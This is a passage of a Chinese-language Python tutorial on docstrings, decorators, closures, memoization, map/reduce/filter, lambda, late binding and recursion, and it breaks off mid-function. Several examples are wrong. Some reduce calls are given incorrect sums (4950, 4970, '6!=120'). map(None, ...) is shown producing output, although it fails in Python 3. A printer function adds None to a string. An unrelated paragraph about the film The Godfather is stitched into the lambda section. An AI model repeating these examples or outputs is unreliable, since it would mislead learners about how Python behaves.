文档字符串的惯例是一个多行字符串,它的首行以大写字母开始,句号结尾。第二行是空行,从第三行开始是详细的描述。 强烈建议 你在你的函数中使用文档字符串时遵循这个惯例。

你可以使用__doc__(注意双下划线)调用printMax函数的文档字符串属性(属于函数的名称)。请记住Python把每一样东西 都作为对象,包括这个函数。我们会在后面的一章学习更多关于对象的知识。

如果你已经在Python中使用过help(),那么你已经看到过DocStings的使用了!它所做的只是抓取函数的__doc__属性,然后整洁地展示给你。你可以对上面这个函数尝试一下——只是在你的程序中包括help(printMax)。记住按q退出help

7. Python Decorator 和 函数式编程

来源:https://www.oschina.net/translate/decorators-and-functional-python

英文原文:Decorators and Functional Pythonhttp://www.brianholdefehr.com/decorators-and-functional-python

函数式编程 的一个特点就是,允许把 函数本身作为参数 传入另一个函数,还 允许返回一个函数

Python 对函数式编程提供部分支持。由于 Python 允许使用变量,因此,Python 不是纯函数式编程语言。

高阶函数英文叫 Higher-order function。什么是高阶函数?下面以实际代码为例子,一步一步深入概念。

函数式编程的几个技术

  • 1.map & reduce:基于命令式的编程语言中,如果对一个数据集进行特定操作的时候,需要使用 for 或者是 while 循环,让用户在循环语句内部进行操作,并且所有的边界条件都是用户自己定义的,所以就会出现边界溢出的 bug。而 map 和 reduce 思想就是用一种更加数学化(理论化)的编程。
  • 2.Pipeline:之前map、reduce是将一组数据放到特定的函数里面进行操作,这里的操作函数一般就一个。管道(Pipeline)就像是Linux系统中的管道一样。数据依此通过不同的管道,最后输出。
  • 3.recuring:递归最大的好处就简化代码,他可以把一个复杂的问题用很简单的代码描述出来。注意:递归的精髓是描述问题,而这正是函数式编程的精髓。
  • 4.currying:把一个函数的多个参数分解成多个函数, 然后把函数多层封装起来,每层函数都返回一个函数去接收下一个参数,这样可以简化函数的多个参数。而且每一层只专注最少的功能性代码,所以你的代码可维护性将大大提高,出现bug的概率也会大大降低。
  • 5.higher order function:高阶函数:所谓高阶函数就是函数当参数,把传入的函数做一个封装,然后返回这个封装函数。现象上就是函数传进传出,就像面向对象对象满天飞一样。
  • 6.lazy evaluation:惰性求值:这个需要编译器的支持。表达式不是在它被绑定到变量之后就立即求值,而是在该值被取用的时候求值,也就是说,语句如x:=expression; (把一个表达式的结果赋值给一个变量)明显的调用这个表达式被计算并把结果放置到 x 中,但是先不管实际在 x 中的是什么,直到通过后面的表达式中到 x 的引用而有了对它的值的需求的时候,而后面表达式自身的求值也可以被延迟,最终为了生成让外界看到的某个符号而计算这个快速增长的依赖树。
  • 7.determinism :确定性:所谓确定性的意思就是像数学那样 f(x) = y ,这个函数无论在什么场景下,都会得到同样的结果,这个我们称之为函数的确定性。而不是像程序中的很多函数那样,同一个参数,却会在不同的场景下计算出不同的结果。所谓不同的场景的意思就是我们的函数会根据一些运行中的状态信息的不同而发生变化。

变量可以指向函数

以 Python 内置的求绝对值的函数 abs() 为例,调用该函数用以下代码:

>>> abs(-10)
10

但是,如果只写 abs 呢?

>>> abs
<built-in function abs>

可见,abs(-10) 是函数调用,而 abs 是 函数本身。要获得函数调用结果,我们可以把结果赋值给变量:

>>> x = abs(-10)
>>> x
10

但是,如果把函数本身赋值给变量呢?

>>> f = abs
>>> f
<built-in function abs>

结论:函数本身也可以赋值给变量,即:变量可以指向函数。

如果一个变量指向了一个函数,那么,可否通过该变量来调用这个函数?用代码验证一下:

>>> f = abs
>>> f(-10)
10
成功!说明变量f现在已经指向了abs函数本身。

函数名也是变量

那么函数名是什么呢?函数名其实就是指向函数的变量!对于abs()这个函数,完全可以把函数名abs看成变量,它指向一个可以计算绝对值的函数!

如果把 abs 指向其他对象,会有什么情况发生?
>>> abs = 10
>>> abs(-10)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'int' object is not callable

把 abs 指向 10 后,就无法通过 abs(-10) 调用该函数了!因为 abs 这个变量已经不指向求绝对值函数了!

当然实际代码绝对不能这么写,这里是为了说明函数名也是变量。要恢复abs函数,请重启Python交互环境。

注:由于 abs 函数实际上是定义在 __builtin__ 模块中的,所以要让修改 abs 变量的指向在其它模块也生效,要用 __builtin__.abs = 10。

Decorators 是 Python 中最重要的特性之一。 它除了使 Python 更好用外的,它还能帮助我们以一种更有趣的方法考虑问题 --- 函数式编程的方法

我会尝试着从零开始解释 Decorator 是怎么工作的。首先, 我们会介绍一些帮助你理解 Decorator 的概念。 然后, 我们会深入的去解释一些示例代码以及他们的工作原理。 最后, 我们会讨论一些更加高级的 Decorator 的用法, 诸如给他们传可选参数, 把他们组成一个执行链。 

首先, 让我们来用我所能想到的最简单的方法来定义 Python 中的方法 (Function)。 然后基于这个简单的定义,再用相同方法来定义 Decorators。

方法(Function)是一段用以执行某一特定任务的可重用的代码。

那什么是 Decorator 呢 ?Decorator 是一个改变其他方法的方法。

现在,让我们通过几个先决条件来解释 decorators 的含义。

7.1 函数(Functions)是第一个对象

在 Python 中 一切皆对象。这意味着即使一个函数被其他对象所包装,我们仍然可以通过这个对象名来进行调用。 举个列子:

def traveling_function():
    print("Here I am!")


function_dict = {
    "func": traveling_function
}

trav_func = function_dict['func']
trav_func()
#  >> Here I am!

traveling_function 尽管在 function_dictdictionary 中被指定为 func 这个 ‘key ’的 ‘value’, 但是我们仍然可以正常的使用。

7.2 在高阶函数中使用第一类函数

我们可以以类似其它对象的方式传递对象。它可以是字典的值、列表的项或是另一个对象的属性。那么,我们不能将函数以参数的方式传递给另一个函数么?可以!函数作为参数传递给高阶函数

def self_absorbed_function():
    return "I'm an amazing function!"


def printer(func):
    print("The function passed to me says: ") + func()
#  Call `printer` and give it `self_absorbed_function` as an argument
printer(self_absorbed_function)
#  >> The function passed to me says: I'm an amazing function!  

上面就是将函数作为参数传递另一个函数,并进行处理的示例。用这种方式,我们可以创造很多有趣的函数,例如 decorator

7.3 Decorator 基础

平心而论,decorator 只是将 函数作为参数 函数。通常,它的作用是返回封装好的经过修饰的函数。

下面这个简单的身份识别 decorator 可以让我们了解 decorator 是如何工作的。

def identity_decorator(func):
    def wrapper():
        func()
    return wrapper


def a_function():
    print("I'm a normal function.")


#  `decorated_function` is the function that `identity_decorator` returns, which  
#  is the nested function, `wrapper`  
decorated_function = identity_decorator(a_function)
#  This calls the function that `identity_decorator` returned  
decorated_function()
#  >> I'm a normal function 

在这里,identity_decoratordoes 并没有修改其封装的函数。它仅仅是返回了这个函数,调用了作为参数传递给 identity_decorator 的函数。这个decorator 毫无意义!

有趣的是在 identity_decorator 中,虽然函数没有传递给 wrapper ,它依然那可以被调用,这是因为闭包原理。

7.4 闭包

什么是闭包?

内部函数对外部函数作用域里变量的引用(非全局变量),则称内部函数为闭包。

javascript 闭包:https://www.runoob.com/js/js-function-closures.html

  • 闭包是一种保护私有变量的机制,在函数执行时形成私有的作用域,保护里面的私有变量不受外界干扰。直观的说:就是形成一个不销毁的栈环境
  • 闭包在维基百科上的定义如下:在计算机科学中,闭包(Closure)是词法闭包(Lexical Closure)的简称,是引用了自由变量的函数。这个被引用的自由变量将和这个函数一同存在,即使已经离开了创造它的环境也不例外。所以,有另一种说法:认为闭包是由函数和与其相关的引用环境组合而成的实体。  

利用闭包,可以实现在外部作用域,访问内部作用域的局部变量。

def outer():
    x = 1

    def inner():
        print(x)  # 1

    return inner


val = outer()
print(f"val ---> {val}")
print(f"val() ---> {val()}")

总结:

  • 函数可以作为返回值进行返回
  • 函数可以作为参数进行传递
  • 函数名实际上就是一个变量名,表示一个内存地址

7.5 简单的 decorator

现在, 让我们来创建一个简单的,有点实际功能的 Decorator。这个 Decorator 所做的就是记录他所包装的方法被调用的次数。

def logging_decorator(func):
    def wrapper():
        wrapper.count += 1
        print("The function I modify has been called {0} times(s).".format(wrapper.count))
        func()

    wrapper.count = 0
    return wrapper


def a_function():
    print("I'm a normal function.")


modified_function = logging_decorator(a_function)
modified_function()
#  >> The function I modify has been called 1 time(s).  
#  >> I'm a normal function.  
modified_function()
#  >> The function I modify has been called 2 time(s).  
#  >> I'm a normal function. 

 Decorator 会修改另外一个方法, 这个例子可能会帮助你理解这其中的意思。正如你在这个例子中所看到的一样, logging_decorator 所返回的新方法和 a_function 很相似,只是多增加了日志功能。

在这个例子中,logging_decorator 接收一个方法作为参数, 返回另一个包装过的方法。 每当 logging_decorator 返回的方法被调用的时候, 他会为 wrapper.count 加 1,打印 wrapper.count 的值, 然后再调用logging_decorator 所包装的方法。

你可能会问为什么我们要把 counter 作为 wrapper 的属性而不是一个普通的变量呢。 包装器的闭包特性不是可以让我们访问其本地作用域中所申明的变量吗?  是的, 但是有一个小问题。 在Python中, 闭包完整的提供了对方法作用域链中变量的读权限,但只为同样作用域中的可变对象(比如:列表、字典等)提供了写权限。然而, Python 中的整数类型是不可变的, 所以我们无法对 wrapper 中的整数变量加 1。 取而代之的是,我们把 counter 作为 wrapper 的一个属性,它就变成了一个可变对象,这样我们就可以对它进行自增操作了。

7.6 Decorator 语法

在上一个例子中,我们看到一个 Decorator 可以接受一个方法作为参数,然后在该方法上再包装上其他方法。

一旦你熟悉了装饰器(Decorator), Python 还为你提供了一个特定的语法使得它看上去更直观,更简单。

def logging_decorator(func):
    def wrapper():
        wrapper.count += 1
        print("The function I modify has been called {0} times(s).".format(wrapper.count))
        func()

    wrapper.count = 0
    return wrapper

#  In the previous example, we used our decorator function by passing the  
#  function we wanted to modify to it, and assigning the result to a variable  


def some_function():
    print("I'm happiest when decorated.")


#  Here we will make the assigned variable the same name as the wrapped function  
some_function = logging_decorator(some_function)


#  We can achieve the exact same thing with this syntax:  

@logging_decorator
def some_function():
    print("I'm happiest when decorated.")

Decorator 语法的简要工作原理:

  1. 当 Python 的解释器看到这个被装饰的方法时,先编译这个方法(some_function),然后先给它赋一个名字 'some_function'
  2. 这个方法(some_function)再被传入装饰方法(decorator function) logging_decorator 中
  3. 装饰方法 (decorator function) logging_decorator 返回的新方法替代原来的 some_function 方法, 与 'some_function' 这个名字绑定

记住这些步骤,再来仔细看一下 identity_decoratora 方法 和 它的注释。

def identity_decorator(func):
    #  Everything here happens when the decorator LOADS and is passed  
    #  the function as described in step 2 above  
    def wrapper():
        #  Things here happen each time the final wrapped function gets CALLED  
        func()

    return wrapper

希望这里的注释能起到一定的引导作用. 只有在装饰器所返回的方法中的指令才会在每次调用的时候被执行. 在被返回函数外的指令只会被执行一次-- 在第二步 当装饰器第一次接受一个方法的时候。

在我们研究更有趣的装饰器之前, 我还有一件事情需要特别解释一下。

7.7 代码记忆(Memoization)

代码记忆是一种避免潜在的重复计算开销的方法。你通过缓存一个函数每次运行的结果来达到此目的。 这样,下一次函数以同样的参数运行时,它将从缓存中返回结果,并不需要花费额外的时间来计算结果。

from functools import wraps


def memoize(func):
    cache = {}

    @wraps(func)
    def wrapper(*args):
        if args not in cache:
            cache[args] = func(*args)
        return cache[args]

    return wrapper


@memoize
def an_expensive_function(arg1, arg2, arg3):
    pass

你可能已经注意到代码示例中的一个奇怪的 @wrapsdecorator,在我们稍后要讲解代码记忆之前,我将简要介绍下这个奇怪的 @wrapsdecorator。

  • 使用装饰器的一个副作用就是,装饰之后函数丢失了它本来的 __name__、__doc__ 及 __module__ 属性。 包装函数用作装饰器来包装装饰器返回的函数,如果被包装的函数没有被装饰,则将恢复他们所有的三个属性值。 例如:一个 _expensive_function 的名字(可以通过 _expensive_function.__name__ 来查看)将被包装,即使我们没有使用装饰器。

我认为,代码记忆是一个很好的使用装饰器的示例。通过创建一个通用的装饰器,他为很多函数想要的功能服务, 我们可以将装饰器添加到任何想要利用这些功能的函数上。这避免了在不同的地方写同样的功能。 不重复自己(DRY)让我们的代码更易于维护,易于阅读和理解。 只要看到一个单词就可以马上知道函数有代码记忆。

我应该指出的是,代码记忆只适用于纯函数。因为这种函数保证了给定特定的同样的参数就会得出同样的结果。 如果一个函数它的结果取决于一个没有作为参数传递的全局变量,或者I/O,或者其它可能影响到结果值的东西, 代码记忆将产生令人困惑的结果!同样,纯函数没有任何副作用。因此,如果你的让一个计数器增加,或者在另一个对象中调用方法,或者任何不在函数得到的返回值上面的东西,如果结果是从缓存中返回的话,也不会什么副作用。

7.8 类的装饰器 ( 装饰一个类 )

上面我们说到装饰器是修饰函数的函数。凡事总有个但是。我们还可以用它来修饰 方法。虽然一般不会这么用它。但有些情况下用来替代元类也未尝不可。

foo = ['important', 'foo', 'stuff']


def add_foo(klass):
    klass.foo = foo
    return klass


@add_foo
class Person(object):
    pass


brian = Person()

print(brian.foo)  # ['important', 'foo', 'stuff']

现在任何从 Person 实例出来的对象都会包含 foo 属性。

注意:装饰器函数 没有返回一个函数,而是返回一个类。所以 装饰器 是一个可以修饰 函数,类方法函数

7.9 类作为一个装饰器 ( 使用类来装饰 )

事实证明,我在之前隐瞒了其它的什么东西。 装饰器不仅仅可以装饰一个类,它可以作为一个类来使用。一个装饰器的唯一需求是他的返回值可以被调用。 这意味着当你调用一个对象时它必须实现_call_这个魔幻般的在幕后调用的方法。函数设置了这个隐式方法。让我们重新建立 identity_decorators 作为一个类,然后来看它是怎么运作的。这个例子到底发生了什么呢:

class IdentityDecorator(object):
    def __init__(self, func):
        self.func = func

    def __call__(self):
        self.func()


@IdentityDecorator
def a_function():
    print("I'm a normal function.")


a_function()  # I'm a normal function
  • 当 IdentityDecorator 装饰器装饰了 a_function,它表现仅仅是一个装饰器也是一个函数。这个片段相当于这个例子的装饰语法: a_function = IdentityDecorator(a_function)。这个类装饰器被调用并实例化,然后把它作为参数传递给它所装饰的函数。
  • 当 IdentityDecorator 实例化,它的初始化函  _init_ 与当做参数传递进来的装饰函数一起调用。 这种情况下,它所做的一切就是分派给这个函数一个属性,随后可以被其它方法访问。
  • 最后,当 a_function(真实的返回的 IdentityDecorator 对象包装了 a_function )被调用,这个对象的 call 方法被引用进来,由于这仅仅是一个有标识的装饰器,它可以简单的调用它所装饰的函数。 

让我们再一次更新我们的装饰器!

装饰模式可以做为修改函数、方法或者类来被调用。 

7.10 带参数的装饰器

时你需要根据不同的情况改变装饰器的行为,这可以通过传递参数来完成。

from functools import wraps


def argumentative_decorator(gift):
    def func_wrapper(func):
        @wraps(func)
        def returned_wrapper(*args, **kwargs):
            print(f"I don't like this {gift} you gave me!")
            return func(gift, *args, **kwargs)
        return returned_wrapper
    return func_wrapper


@argumentative_decorator("sweater")
def grateful_function(gift):
    print(f"I love the {gift}! Thank you!")


grateful_function()

'''
I don't like this sweater you gave me!  
I love the sweater! Thank you!
'''

让我们看看如果我们不用装饰器语法,装饰器函数是怎么运作的:

# If we tried to invoke without an argument:  
grateful_function = argumentative_function(grateful_function)  
   
# But when given an argument, the pattern changes to:  
grateful_function = argumentative_decorator("sweater")(grateful_function)  

主要的要关注的是当给定一些参数,装饰器会首先被引用并带有这些参数,就像平时包装过的函数并不在此列。 然后这个函数调用返回值, 装饰器已经包装的这个函数已经传递给初始化后的带参数的装饰器的返回函数。(这种情况下, 返回值是(argumentative_decorator("swearter")).

一步步来看:

  • 1.  解释器到达装饰过的函数, 编译 grateful_function, 并把它绑定给 'grateful_fucntion' 这个名字。
  • 2.  argumentativ_decorator 被调用, 并传递参数 "sweater", 返回 func_wrapper. 
  • 3.  func_wrapper 被调用, 并传入 grateful_function 作为参数, func_wrapper 返回 returned_wrapper。
  • 4.  最后, returned wrapper 被替代为原始的函数 grateful_function, 然后被绑定到 grateful function 这个名字下。

我认为当不使用装饰器参数的时候, 这一系列的事件有点难以追踪。请花点时间通盘考虑下,希望这对你会有点启发。

7.11 带可选参数的装饰器

有许多方法使用带可选参数的装饰器。这取决于你是要用一个位置参数还是关键字参数,或者两个都用。在使用上可能有一点点不同。下面就是其中的一种方法:

from functools import wraps

GLOBAL_NAME = "Brian"


def print_name(function=None, name=GLOBAL_NAME):
    def actual_decorator(function):
        @wraps(function)
        def returned_func(*args, **kwargs):
            print(f"My name is {name}")
            return function(*args, **kwargs)
        return returned_func

    if not function:  # User passed in a name argument  
        def waiting_for_func(function):
            return actual_decorator(function)
        return waiting_for_func
    else:
        return actual_decorator(function)


@print_name
def a_function():
    print("I like that name!")


@print_name(name='Matt')
def another_function():
    print("Hey, that's new!")


a_function()
# >> My name is Brian  
# >> I like that name!  

another_function()
# >> My name is Matt  
# >> Hey, that's new!

如果我们需要传 name 到 print_name 方法里面,他将会和之前的 argumentative_decoratorin 效果相同。也就是说,第一个 print_name 将会把 name 作为它的参数。函数在第一次请求时返回的值将会传递到函数里。

如果没有向 print_name 传 name 的参数,将会报缺少修饰的错。它将会像单参数函数一样发送请求。

print_name 有这两种可能。他要检查收到的参数是不是一个被包装的函数。如果不是的话,返回 waiting_for_func 函数来请求被包装的函数。如果收到的是一个函数参数,它将会跳过中间的步骤,立刻请求actual_decorator。

7.12 链式装饰器

今天让我们来探索下装饰器的最后一个特性吧:链式装饰器。

你可以在任意给定的函数中放置多个装饰器。 它使用一种类似用多继承来构造类的方式来构造函数。但是最好不要过于追求这种方式。

from functools import wraps

GLOBAL_NAME = "Brian"


def logging_decorator(func):
    def wrapper():
        wrapper.count += 1
        print("The function I modify has been called {0} times(s).".format(wrapper.count))
        func()
    wrapper.count = 0
    return wrapper


def print_name(function=None, name=GLOBAL_NAME):
    def actual_decorator(function):
        @wraps(function)
        def returned_func(*args, **kwargs):
            print(f"My name is {name}")
            return function(*args, **kwargs)
        return returned_func

    if not function:  # User passed in a name argument  
        def waiting_for_func(function):
            return actual_decorator(function)
        return waiting_for_func
    else:
        return actual_decorator(function)


@print_name(name='Sam')
@logging_decorator
def some_function():
    print("I'm the wrapped function!")


some_function()
'''
My name is Sam
The function I modify has been called 1 times(s).
I'm the wrapped function!
'''

当你将装饰器链接在一起时,他们在放置在栈中顺序是从下往上。 被包装的函数,some_fuction,编译之后,传递给在它之上的第一个装饰器(loging_decorator). 然后第一个装饰器的返回值传递给下一个。它将以这样的式传递给链中的每一个装饰器。

因为我们这里用到的装饰器都是打印一个值然后返回传递给它们的函数。这意味着在链中的最后一个装饰器,print_name,当被包装(装饰)的函数调用时,将打印整个输出的第一行。

总结

decorator 最大的好处之一是它能让你从高些的层次进行抽象。如果你开始读一个方法的定义,发现他有个 amemoize decorator,你会马上意识到你是在看 memoized 方法。如果 memoization 的代码是在方法内部,则可能要花些额外的心思去解析,且有可能误解。 使用 decorator,也能实现代码重用,从而节省时间,简化调试,使得反射更容易。使用 decorator 也是个很好的学习函数式编程概念的方式,如高级函数、闭包。

8. 高阶函数 ( 函数做为参数 )

既然变量可以指向函数,函数的参数能接收变量,那么一个函数可以接收另一个函数作为参数(即函数作为参数传入),这种函数就称之为高阶函数

一个最简单的高阶函数:

def add(x, y, f):
    return f(x) + f(y)
# 当我们调用 add(-5, 6, abs)时,参数x,y和f分别接收-5,6和abs
# 根据函数定义,我们可以推导计算过程为:
# x ==> -5
# y ==> 6
# f ==> abs
# f(x) + f(y) ==> abs(-5) + abs(6) ==> 11

# 用代码验证一下:
print(add(-5, 6, abs))  # 11
# 编写高阶函数,就是让函数的参数能够接收别的函数。

小结:把函数作为参数传入,这样的函数称为高阶函数,函数式编程就是指这种高度抽象的编程范式。

8.1 python 内建的高阶函数(map、reduce、filter)

map:我们在使用 map 函数时候,map 函数需要接收两个参数,第一个参数是函数,第二个参数是序列。

那么表示的含义就是 map 将传入的函数依次作用在序列中的每一个元素,并把结果以列表的形式返回。

def f(x):
    return x*x

print(list(map(f,[1,2,3,4,5,6,7,8,9,10])))  # list里的每个元素都会走一遍f(x)方法

示例:

def doubleMe(para):
    return para * 2


result = list(map(doubleMe, range(1, 11)))
print(result)  # [2,4,6,8,10,12,14,16,18,20]

# 结合 lambda 函数
result = list(map(lambda x: x * 2, range(1, 11)))
print(result)

result = list(map(lambda x, y: x + y, range(1, 5), range(6, 10)))
print(result)  # [7,9,11,13]

# result = map(lambda x, y: x + y, range(1, 6), range(6, 10))
# 结果是会报错误:TypeError: unsupported operand type(s) for +: 'NoneType' and 'int'

# 传递给map的是一个None的function,实际上就是做了个数据转移操作,将数据从iterable data转移到list中。
print(list(map(None, range(1, 3))))
# 输出 [1,2]
print(list(map(None, range(1, 3), range(5, 7))))
# 输出[(1, 5), (2, 6)]
# 可以看到第二个有多个参数组的情况下,只是把同下标的给“打包”了

reduce:reduce 函数和 map 函数有什么不同之处呢?

reduce 函数也需要两个参数:

  • 函数:这个函数必须接收两个参数。
  • 序列:和 map 接收的一样

reduce 函数表示的含义:把 返回的结果 继续和 序列中的下一个元素 进行相应操作。

from functools import reduce

sum = reduce(lambda a, x: a + x, [0, 1, 2, 3, 4])
print(sum)  # 10

def f2(x, y):
    return x + y
print(reduce(f2, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]))  # 55

def fn(x, y):
    return x * y
print(reduce(fn, [1, 2, 3, 4, 5]))  # 计算 6!= 120

def add1(x, y):
    return x + y
print(reduce(add1, range(1, 101)))      # 4950 (注:1+2+...+100)
print(reduce(add1, range(1, 101), 20))  # 4970 (注:1+2+...+100+20)

print(reduce(lambda x, y: x + y, range(1, 5)))  # 结果是result=10
print(reduce(lambda x, y: x + y, range(1, 5), 3))  # 结果是result=13

filter:filter 函数用于过滤序列中某些元素。和 map、reduce 函数一样,filter 也接收一个函数和一个序列,不同的是,filter 把传入的函数参数作用于序列中每一个元素,然后根据返回值判断是true还是false来决定该元素是否被丢弃。

print(list(filter(lambda x: x > 3, range(1, 5))))  # [4]
print(list(filter(None, range(1, 3))))    # [1,2]
print(list(filter(None, [False, True])))  # [True]

def is_odd(x):
    return x % 2 == 1
print(list(filter(is_odd, [1, 2, 3, 4, 5, 6, 7])))  # [1, 3, 5, 7]


def fun1(s):
    if s != 'a':
        return s


if __name__ == "__main__":
    str_list = ['a', 'b', 'c', 'd']
    ret = filter(fun1, str_list)
    print(list(ret))  # ret 是一个迭代器对象
    pass

sort 函数

"""
python3 中 sorted 取消了对 cmp 的支持。
sorted(iterable, key=None, reverse=False)
    reverse 是一个布尔值。如果设置为True,列表元素将被倒序排列,默认为False
    key 接受一个函数,这个函数只接受一个元素,默认为 None
sorted([36, 5, 12, 9, 21], reverse=True)就可以实现倒序

Python2中的自定义布尔函数 cmp=custom_cmp(x, y)由 Python3中的 key=custom_key(x)代替,Python2中是返回-1,1,0
在 python3 中,待比较元素 x 通过 custom_key 函数转化为 Python能比较的值custom_key(x),进而再基于返回值进行排序。
Python3中是返回待比较的元素!
你可以想象成集合,集合就是需要用key来索引,因为它是无序的。没有key,后面的比较函数没法作用到前面的的元素。
"""


def reversed_cmp(x, y):
    if x > y:
        return -1
    if x < y:
        return 1
    return 0


print(sorted([36, 5, 12, 9, 21], reverse=True))  # [36, 21, 12, 9, 5]
print(sorted(['about', 'bob', 'Zoo', 'Credit']))  # ['Credit', 'Zoo', 'about', 'bob']


# 默认情况下,对字符串排序,是按照 ASCII 的大小比较的,
# 由于 'Z' < 'a',结果,大写字母Z会排在小写字母a的前面。
# 现在,我们提出排序应该忽略大小写,按照字母序排序。
# 要实现这个算法,不必对现有代码大加改动,只要我们能定义出忽略大小写的比较算法就可以:

def cmp_ignore_case(s: str):
    return s.upper()


# 忽略大小写来比较两个字符串,实际上就是先把字符串都变成大写(或者都变成小写),再比较。
# 这样,我们给sorted传入上述比较函数,即可实现忽略大小写的排序:
print(sorted(['about', 'bob', 'Zoo', 'Credit'], key=cmp_ignore_case))
# ['about', 'bob', 'Credit', 'Zoo']

9. lambda 匿名函数

lambda 函数也叫匿名函数,即 函数没有具体的名称,而用 def 创建的方法是有名称的

无参数 lambda:如果没有参数,则lambda冒号前面就没有。

有参数 lambda:lambda [arg1 [,arg2,.....argn]]:expression

示例:

sum = lambda arg1, arg2: arg1 + arg2;

print(f"Value of total : {sum( 10, 20 )}")
print(f"Value of total : {sum( 20, 20 )}")

'''
Value of total : 30
Value of total : 40
'''
#!/usr/bin/python
# Filename: lambda.py

def make_repeater(n):
    return lambda s: s*n

twice = make_repeater(2)
print(twice('word'))
print(twice(5))

'''
wordword
10
'''

它如何工作

这里,我们使用了make_repeater 函数在运行时创建新的函数对象,并且返回它。lambda语句用来创建函数对象。本质上,lambda需要一个参数,后面仅跟单个表达式作为函数体,而表达式的值被这个新建的函数返回。注意,即便是print语句也不能用在lambda形式中,只能使用表达式。
匿名函数有个限制,就是只能有一个表达式,不用写return,返回值就是该表达式的结果。
用匿名函数有个好处,因为函数没有名字,不必担心函数名冲突。此外,匿名函数也是一个函数对象,也可以把匿名函数赋值给一个变量,再利用变量来调用该函数:

lambda 与 def 区别

  • 主要不同点是 def 是语句,而 lambda 是表达式 ,理解这点很重要。
  • lambda会创建一个函数对象,但不会把这个函数对象赋给一个标识符,而def则会把函数对象赋值给一个变量。
  • lambda 它只是一个表达式,而def则是一个语句。lambda表达式运行起来像一个函数,当被调用时创建一个框架对象。

使用 lambda 注意事项

  • lambda 函数可以接收任意多个参数 (包括可选参数) 并且返回单个表达式的值。
  • lambda 函数不能包含命令,包含的表达式不能超过一个。

示例

values = ['1', '2', '-3', '-', '4', 'N/A', '5']


def is_int(val):
    try:
        x = int(val)
        return True
    except ValueError:
        return False


ivals = list(filter(is_int, values))
print(ivals)
print(list(filter(lambda x: True if x % 3 == 0 else False, range(100))))

str1 = "abcde"
str2 = "abcdefg"
print(list(zip(str1, str2)))

print(list(map(lambda x: True if x % 3 == 0 else False, range(100))))

电影《教父》里的人生观: 第一步要努力实现自我价值,第二步要全力照顾好家人,第三步要尽可能帮助善良的人,第四步为族群发声,第五步为国家争荣誉。 事实上作为男人,前两步成功,人生已算得上圆满,做到第三步堪称伟大,而随意颠倒次序的那些人,一般不值得信任。

f = lambda x, y, z: x + y + z
print(f(1, 2, 3))
g = lambda x, y=2, z=3: x + y + z
print(g(1, z=4, y=5))

# lambda表达式常用来编写跳转表(jump table),就是行为的列表或字典。例如:
L = [(lambda x: x ** 2),
     (lambda x: x ** 3),
     (lambda x: x ** 4)]
print(L[0](2), L[1](2), L[2](2))

D = {'f1': (lambda: 2 + 3),
     'f2': (lambda: 2 * 3),
     'f3': (lambda: 2 ** 3)}
print(D['f1'](), D['f2'](), D['f3']())


# 3,lambda表达式可以嵌套使用,但是从可读性的角度来说,应尽量避免使用嵌套的lambda表达式。
# 4,map函数可以在序列中映射函数进行操作。例如:
def inc(x):
    return x + 10


L = [1, 2, 3, 4]
print(list(map(inc, L)))

print(list(map((lambda x: x + 10), L)))

# 5,列表解析可以实现map函数同样的功能,而且往往比map要快。例如:
print([x ** 2 for x in range(10)])
print(list(map((lambda x: x ** 2), range(10))))
# 6,列表解析比map更强大。例如:
print([x + y for x in range(5) if x % 2 == 0 for y in range(10) if y % 2 == 1])


# 7,生成器函数就像一般的函数,但它们被用作实现迭代协议,因此生成器函数只能在迭代语境中出现。例如:


def gen_squares(N):
    for i in range(N):
        yield i ** 2


for i in gen_squares(5):
    print(i, )
# 8,所有的迭代内容(包括for循环、map调用、列表解析等等)将会自动调用iter函数,来看看是不是支持了迭代协议。
# 9,生成器表达式就像列表解析一样,但它们是扩在圆括号()中而不是方括号[]中。例如:
for num in (x ** 2 for x in range(5)):
    print(num, )


# 10,列表解析比for循环具有更好的性能。尽管如此,在编写Python代码时,性能不应该是最优先考虑的。
# 11,没有return语句时,函数将返回None对象。
# 12,函数设计的概念:

# 耦合性:只有在真正必要的情况下才使用全局变量
# 耦合性:不要改变可变类型的参数,除非调用者希望这样做
# 耦合性:避免直接改变另一个文件模块中的变量
# 聚合性:每一个函数都应有一个单一的、统一的目标
# 13,最后给个默认参数和可变参数的例子:
def saver(x=[]):
    x.append(1)
    print(x)


saver([2])
saver()
saver()
saver()

10. 后期绑定 ( late binding )

def create_multipliers():
    return [lambda x: i * x for i in range(5)]


for multiplier in create_multipliers():
    print(multiplier(2))

'''
8
8
8
8
8
'''

上面的例子中是不是在定义 create_multipliers()函数而不是调用它时完成了循环?

为什么设定一个默认参数就得到预期的结果?

def create_multipliers():
    return [lambda x, i=i: i * x for i in range(5)]


for multiplier in create_multipliers():
    print(multiplier(2))

'''
0
2
4
6
8
'''

你定义一个函数,函数内的变量并不是立刻就把值绑定了,而是等调用的时候再查找这个变量,只要调用的时候环境里有就行。

同理,在 for 里面 i 的值是不断改写的,但是 lambda 里面只是储存了 i 的符号,调用的时候再查找。这就是所谓的 后期绑定

为什么你加了默认参数就成功了呢?

因为在创建函数的时候就要获取默认参数的值,放到 lambda 的环境中,所以这里相当于存在一个赋值,从而使 lambda 函数环境中有了一个独立的 i。  最后,优雅的写法是用生成器:

for multiplier in (lambda x: i * x for i in range(5)):
    print(multiplier(2))

这样惰性求值就可以避免 i 的改写。或者:

def create_multipliers():
    for i in range(5):
        yield lambda x: i * x


for multiplier in create_multipliers():
    print(multiplier(3))

11. 递归函数

递归函数定义:递归函数就是在函数内部调用自己
有时候解决某些问题的时候,逻辑比较复杂,这时候可以考虑使用递归,因为使用递归函数的话,逻辑比较清晰,可以解决一些比较复杂的问题。但是递归函数存在一个问题就是假如递归调用自己的次数比较多的话,将会使得计算速度变得很慢,而且在python中默认的递归调用深度是1000层,超过这个层数将会导致“爆栈”。。。所以,在可以不用递归的时候建议尽量不要使用递归。

递归函数的优点:定义简单,逻辑清晰。理论上,所有的递归函数都可以写成循环的方式,但循环的逻辑不如递归清晰。
递归特性:

  • 1. 必须有一个明确的结束条件
  • 2. 每次进入更深一层递归时,问题规模相比上次递归都应有所减少
  • 3. 递归效率不高,递归层次过多会导致栈溢出

( 在计算机中,函数调用是通过栈(stack)这种数据结构实现的,每当进入一个函数调用,栈就会加一层栈帧,每当函数返 回,栈就会减一层栈帧。由于栈的大小不是无限的,所以,递归调用的次数过多,会导致栈溢出。)

def factorial(n):  # 使用循环实现求和
    Sum=1
    for i in range(2,n+1):
        Sum*=i
    return Sum
print(factorial(7))

def recursive_factorial(n):  # 使用递归实现求和
